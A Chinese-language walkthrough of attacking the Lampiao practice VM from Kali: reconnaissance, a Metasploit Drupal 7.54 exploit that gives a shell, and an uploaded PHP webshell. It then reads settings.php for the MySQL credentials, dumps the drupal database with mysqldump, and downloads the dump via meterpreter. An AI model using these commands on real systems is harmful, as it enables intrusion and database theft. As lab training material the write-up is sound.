一、目的
实现对数据库的拖库。
二、环境准备
1、攻击机kali(NAT模式)
2、Navicat
3、靶场Lampiao(NAT模式)
三、操作
1、信息收集
(1)使用nmap扫描网段内的所有ip地址
(2)扫描系统版本和端口开放情况
为了进一步确认,进行系统版本扫描 ,顺便进行端口扫描
观察发现,开放了ssh端口、http的80端口、以及比较特殊的1898端口。但是没有开放mysql的3306端口。
(3)浏览器访问80端口
应该是没啥作用。分析1898端口以及"Cymtec-port" ,可能是一个自定义设置的端口,用于实现类似的重定向或代理功能。
访问1898端口:
成功访问。
2、扫描网站目录及漏洞
(1)使用dirb扫描
(2)使用AWSV扫描
3、msfconsole
(1)分析漏洞并运用
通过"Current Drupal version: 7.54"可以得知目标网站Drupal 框架版本为7.54,于 2017 年 8 月 2 日发布。
在msfconsole中搜索该模块,,命令:
search Drupal
use 1
show options
set rhosts 目标主机ip
set rport 1898
run
getuid
成功获取Lampiao主机的getshell
(2)上传一句话木马
命令:
upload /root/muma_make/shell.php
(3)蚁剑连接
利用蚁剑的虚拟终端功能来操作目标主机(此时目标主机权限还是有限制的)
4、数据库拖库
1、查看端口情况
命令:
netstat -antp
2、本机拖库
(1)查找mysql启动文件
命令:
whereis mysql
ls | grep mysql
./mysql
(2)寻找mysql用户名和密码
第一步:由于Lampiao网站使用的是Drupal框架,搜索得知该框架的配置文件名为settings.php
命令:
find / -name settings.php 2>/dev/null
cat /var/www/html/sites/default/settings.php
寻找mysql配置
(3) 本机登录mysql
命令:
./mysql -udrupaluser -pVirgulino
show database;
既然可以成功登录,那么可以尝试使用登录携带命令一起执行的操作来获取数据名称
mysql -udrupaluser -pVirgulino -e "show databases;"
结果:
Database
information_schema
drupal
(4)拖库
命令:
mysqldump -udrupaluser -pVirgulino --database drupal>drupal3.sql
#利用mysqldump执行文件将名为drupal的数据库导出,导出的文件名为drupal.sql
在/var/www/html 目录下执行
/usr/bin/mysqldump -udrupaluser -pVirgulino --database drupal>drupal_test.sql
利用meterpreter模块下载文件:drupal_test.sql
download /var/www/html/drupal_test.sql
成功下载,拖库成功。